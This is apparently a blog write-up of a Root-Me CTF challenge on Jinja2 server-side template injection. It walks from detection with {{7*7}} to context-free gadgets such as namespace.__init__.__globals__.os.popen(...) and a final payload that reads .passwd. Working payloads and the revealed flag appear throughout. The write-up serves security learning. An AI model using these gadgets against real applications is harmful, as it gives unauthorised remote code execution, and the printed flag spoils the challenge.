From Detection to Flag: Python Jinja2 SSTI on Root-Me
I recently tackled a fun Server-side Template Injection (SSTI) challenge on Root-Me and wanted to document my process. This post follows my journey from initial detection to crafting a reliable, context-free payload to gain code execution.
The Challenge: Python SSTI Introduction
The goal was to solve the “Python - Server-side Template Injection Introduction” challenge on Root-me.org.
« SETUP »
I started by loading the challenge environment and intercepting the requests using Caido. The application allows you to preview content submitted through a form.
« DETECT »
The core of the application is a POST request to /preview with title and content parameters.
1POST /preview HTTP/1.1
2Host: challenge01.root-me.org:59074
3Content-Type: application/x-www-form-urlencoded
4Content-Length: 27
5
6title=hi&content=hi&button=yesTo test for SSTI, I sent a simple mathematical expression, {{7*7}}, in both the title and content fields. The server’s response was revealing:
1{
2 "content": "49",
3 "title": "{{7*7}}"
4}The content field was processed, while the title field was not. This confirmed an SSTI vulnerability in the content parameter. To be certain about the template engine, I tried two different payloads:
{{3 * 3}}resulted in9.{{'3' * 3}}resulted in333.
This behavior is characteristic of Jinja2, confirming my suspicion.
« EXPLORE »
With the vulnerability confirmed, the next step was to find a way to execute shell commands. My goal was to access the os module in Python.
The Problem with Context-Dependent Payloads
In previous challenges, like one from picoCTF, I had used “egg hunter” payloads that depend on the application’s context. For example:
1{{ ''.__class__.__base__.__subclasses__()[356]('ls -la', shell=True, stdout=-1).communicate()[0].decode() }}The problem with this method is that the index for popen ([356]) is not consistent across different environments. It’s a brittle approach. I wanted to find a more reliable, context-independent payload.
The Quest for a Context-Free Payload
I drew inspiration from the GreHack 2021 talk by @podalirius_, “Optimizing Server Side Template Injections payloads for jinja2”, which discusses creating context-free payloads.
The ideal payload should be:
- Context-free: It shouldn’t rely on any data passed into the
.render()method. - Short: Shorter is always better.
The key is the self object, which is a reference to the template itself and is accessible even with an empty .render() call.
1>>> jinja2.Template("""I am {{ self }}""").render()
2'I am <TemplateReference None>'From this self object, we should be able to find a path to the os module.
Finding the Path with BFS
Python’s objects and attributes can be thought of as a graph. To find the shortest path from our starting object (jinja2) to our target (os), we can use a Breadth-First Search (BFS). This helps avoid long exploration traps and cycles.
During this exploration, I got a bit confused about the distinction between objects, attributes, and modules in Python. They all felt very similar. I got a great explanation:
You’re right to feel they’re similar—in Python, almost everything, including modules and functions, is fundamentally an object. The difference lies in their role and relationship to each other.
Object (obj): The most basic building block. An instance of a class (e.g., an integer, a list, a function, a module).
Attribute (attr): A name that belongs to an object, accessed with the dot notation (
parent_object.attribute). It can be a variable or a method.Module: A specific type of object whose main job is to organize Python code, acting as a namespace for its attributes.
With that clarified, I wrote a small BFS script (audit.py) to search for paths from the jinja2 object to the os module. It found several promising paths:
1$ ./audit.py jinja2
2Searching for 'os' from 'jinja2' (max depth: 5)...
3jinja2.bccache.fnmatch.os
4jinja2.bccache.os
5jinja2.bccache.tempfile._os
6jinja2.environment.os
7jinja2.loaders.os
8jinja2.utils.osThis confirmed that a path exists. Now, how to get there from self?
From self to os
First, I inspected the self object using dir():
1>>> jinja2.Template("""{{ f(self) }}""").render(f=dir)
2"['__class__', '__delattr__', ..., '_TemplateReference__context']"Most attributes were internal dunder methods, but _TemplateReference__context looked interesting.
1>>> jinja2.Template("""{{ self._TemplateReference__context }}""").render()
2"<Context {'range': ..., 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>} of None>"This context object gives us access to several Jinja2 utility classes like cycler, joiner, and namespace. My BFS search showed that jinja2.utils.os was a valid path. Since namespace is in jinja2.utils, I could traverse from there to the os module using Python’s object introspection capabilities (__init__.__globals__).
This gives us a reliable path to os:
1{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}Even better, since namespace, cycler, and joiner are available in the global context of the template, we can access them directly without referencing self. This leads to a much cleaner and shorter payload.
The Final Gadgets
This discovery yielded three reliable, context-free gadgets for Jinja2 SSTI:
1{{ namespace.__init__.__globals__.os.popen("id").read() }}
2{{ cycler.__init__.__globals__.os.popen("id").read() }}
3{{ joiner.__init__.__globals__.os.popen("id").read() }}« EXPLOIT »
Now it was time to use these gadgets on the challenge server. I sent the payload in the content parameter:
content={{ namespace.__init__.__globals__.os.popen("ls -la").read() }}The server responded with a directory listing, and I spotted a .passwd file.
A Failed Experiment: popen vs. Popen
To get a nicely formatted output, I first tried to use the communicate() method, which I had used in the past:
1{{ namespace.__init__.__globals__.os.popen('id', shell=True, stdout=-1).communicate()[0].decode() }}This resulted in an error: TypeError: popen() got an unexpected keyword argument 'shell'.
This was a key learning moment. I realized I was confusing os.popen() with the more powerful subprocess.Popen. The os.popen function is simpler and doesn’t accept those arguments. The payload I used in the picoCTF challenge was accessing subprocess.Popen, not os.popen.
Getting the Flag
To solve the formatting issue and read the file, I switched to readlines(), which returns the output as a list of strings, preserving newlines.
Final Payload:
content={{ namespace.__init__.__globals__.os.popen('cat .passwd').readlines() }}Response:
1{
2 "content": "['Python_SST1_1s_co0l_4nd_mY_p4yl04ds_4r3_1ns4n3!!!\n']",
3 "title": "hi"
4}Success! I found the flag.
Final Thoughts
This challenge was a great exercise in moving beyond simple, context-dependent SSTI payloads. The journey was just as important as the result. By hitting a wall with os.popen, taking the time to understand the object graph with BFS, and clarifying fundamental Python concepts, I was able to build a short, reliable, and context-free gadget for code execution. It highlights the importance of deep-diving into the framework you’re targeting and not being afraid to go back to the basics.